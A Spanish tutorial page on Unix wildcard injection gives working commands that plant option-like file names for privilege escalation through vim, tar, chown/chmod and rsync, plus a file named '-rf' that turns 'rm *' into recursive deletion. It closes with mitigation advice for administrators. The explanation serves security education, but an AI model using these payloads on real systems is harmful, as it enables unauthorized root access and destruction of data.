===== Escalar privilegios mediante el uso de wildcards y nombres de ficheros en Unix (Wildcard injection) ===== En las shell de sistemas Unix se pueden crear nombres de ficheros con guiones sin ningún tipo de problemas, por ejemplo un fichero con nombre "%%--%%opcion". Si se ejecuta un comando dentro del mismo directorio y se utiliza el asterisco para especificar todos los archivos, el comando ejecutará %%--%%opción como parámetro. Por lo tanto, si un usuario con privilegios ejecuta un comando sobre un directorio donde se tienen los ficheros con nombres de parámetros, estos interferirán en las opciones del comando y en algunos casos podría facilitar la escalada de privilegios. **Ejemplo de escalada de privilegios usando el comando Vim**. echo "" > '-c !sh cacas.sh' # Creamos el fichero con parámetros echo /bin/sh > cacas.sh # Como prueba de concepto se ejecutará una shell. ls -lt total 8 -rw-r--r-- 1 busi busi 28 jun 30 13:39 cacas.sh -rw-r--r-- 1 busi busi 28 jun 30 13:28 '-c !sh cacas.sh' vim * sh-4.4$ **Ejemplo de escalada de privilegios usando el comando tar**. Fichero test.sh: Agrega el usuario XX al grupo sudo (debe existir previamente). #!/bin/bash adduser XX sudo # Se podría también asignar SUID a /bin/dash (sistemas Ubuntu), apagar el sistema, etc. Crear los ficheros con nombres de parámetros de "tar". echo "" > "--checkpoint-action=exec=sh test.sh" echo "" > --checkpoint=1 tar cf fichero.tar * # Si todo ha salido bien la configuración sudo del usuario XX será "(ALL : ALL) ALL" **Forzar borrado de ficheros de manera recursiva**. echo > "-rf" rm * # ATENCIÓN: Esto borraría de manera recursiva (-rf) el contenido del directorio donde se encuentra. **Ejemplo de escalada de privilegios con chown / chmod** (%%--%%reference=RFILE) --reference=RFILE use RFILE's owner and group rather than specifying OWNER:GROUP values Al ejecutar chown / chmod con la opción "%%--%%reference=.fichero_hacker.php", se obliga a chown o chmod a usar los permisos del fichero señalado, ignorando los pasados como parámetro en la ejecución. ls -lta total 12 -rw-r--r-- 1 atacante atacante 1 Jun 23 23:58 --reference=.fichero_hacker.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:52 .fichero_hacker.php -rw-r--r-- 1 apache apache 0 Jun 23 23:51 fichero5.php -rw-r--r-- 1 apache apache 0 Jun 23 23:51 fichero4.php -rw-r--r-- 1 apache apache 0 Jun 23 23:51 fichero3.php -rw-r--r-- 1 apache apache 0 Jun 23 23:51 fichero2.php -rw-r--r-- 1 apache apache 0 Jun 23 23:51 fichero1.php chown -R nobody:nobody * ls -lta total 4 -rw-r--r-- 1 atacante atacante 1 Jun 23 23:58 --reference=.fichero_hacker.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:52 .fichero_hacker.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:51 fichero5.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:51 fichero4.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:51 fichero3.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:51 fichero2.php -rw-r--r-- 1 atacante atacante 0 Jun 23 23:51 fichero1.php **Ejemplo de escalada de privilegios con rsync**. -e, --rsh=COMMAND specify the remote shell to use --rsync-path=PROGRAM specify the rsync to run on remote machine # El fichero shell.c debe contener lo que se quiera ejecutar como root (nc, adduser, chmod u+s, etc). echo "" > "-e sh shell.c" rsync -t *.c xx.xx.xx.xx:/var/www/ **Recomendaciones para evitar ataques wildcard injections**. * Los administradores deben ser conscientes de los riesgos de implementar scripts automáticos y servicios que se ejecutan como root. * Los administradores deben cumplir con el principio de privilegio mínimo. * Al crear tareas cron / automatizadas, no se deben usar comodines. * Si se van a usar comodines, usarlos entre comillas "*" **Enlace de interés**. * [[ejecutar_shell_en_entornos_enjaulados_chroot|Escalado con sudo]] * [[escalada_de_privilegios_con_variable_ld_preload|Escalada de privilegios con LD_PRELOAD y sudo]] * [[https://www.busindre.com/scripts_con_suid]] * [[https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt]]